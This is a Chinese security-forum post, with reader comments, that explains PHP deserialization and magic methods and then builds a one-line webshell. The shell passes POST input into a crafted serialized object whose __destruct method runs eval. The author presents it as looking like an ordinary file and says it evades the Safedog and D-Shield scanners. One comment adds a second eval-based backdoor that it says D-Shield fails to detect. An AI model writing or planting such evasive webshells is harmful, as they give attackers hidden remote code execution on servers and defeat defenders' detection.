PHP反序列化漏洞与Webshell

vspiders / 2018-03-21 18:59:42 / 浏览数 17661 技术文章 技术文章 顶(0) 踩(0)

Author:vspiders
首发地址：http://blog.csdn.net/vspiders/article/details/79643200

前言

最近和小伙伴们一起研究了下PHP反序列化漏洞，突发奇想，利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。

0x01 PHP反序列化

说起PHP反序列化，那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输，比如跨脚本等。而PHP反序列化是将序列化之后

```
<?php
class A{
   var $test = "demo";
}

$a = new A();  // ■■a■■
$b = serialize($a);  // ■■■a■■■b
$c = unserialize($b); // ■■■■b■■■c

print_r($b);   // ■■■■■■■■■:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test);  // ■■■■c■test■■:demo

?>
```

0x02 PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数，magic函数命名是以符号开头的，比如 construct, destruct, toString, sleep,
wakeup等等。这些函数在某些情况下会自动调用，比如construct当一个对象创建时被调用，destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使
而在反序列化时，如果反序列化对象中存在魔法函数，使用unserialize()函数同时也会触发。这样，一旦我们能够控制unserialize()入口，那么就可能引发对象注入漏洞。

```
<?php
class A{
   var $test = "demo";
   function __destruct(){
           echo $this->test;
   }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
```

比如上述代码，构造payload为`http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}`
反序列化后在脚本运行结束时就会调用_destruct函数，同时会覆盖test变量输出hello。

0x03 回马枪

我们可以利用该漏洞点，控制输入变量，拼接成一个序列化对象。然后再构造一个魔法函数，比如在_destruct()函数中调用eval执行序列化对象中的语句。

```
<?php
class A{
   var $test = "demo";
   function __destruct(){
       @eval($this->test);
   }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // ■■■■■■■
$test_unser = unserialize($pp); // ■■■■■■■■_destruct■■
?>
```

0x04 效果演示

直接菜刀链接：

安全狗：

此木马毕竟是跟正常文件太像，所以免杀效果很不错。这里只是测试了安全狗、D盾，其余自测。

小结

而且由此可以引发很多变形，这里只是利用反序列化漏洞，其他漏洞也可以用来当作木马的载体，毕竟cms的代码执行漏洞在被发现之前，他依旧是一个正常到不能再正常的

上一篇：快速搭建一个轻量级OpenSOC架... 下一篇：某商城文件上传漏洞与SQL注入漏洞

1. 3 条回复

rcoil 2018-03-21 19:09:50

这个倒是有人研究过，但是好像没见到有人发出来。

0 回复Ta

孤独世界 2018-03-22 12:54:42

```
<?php
class evals{
   protected $links;
   function __construct($an){
       $this->links = $an;
       eval("\$title=1;".$this->links);
   }
}
$a = new evals(@$_POST['An']);
?>
```

去年还是前年写的一个马 D盾扫描的扫不出来

0 回复Ta

cdxy 2018-03-22 15:03:43

http://webshell.cdxy.me/
以后webshell可以在这里试下

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板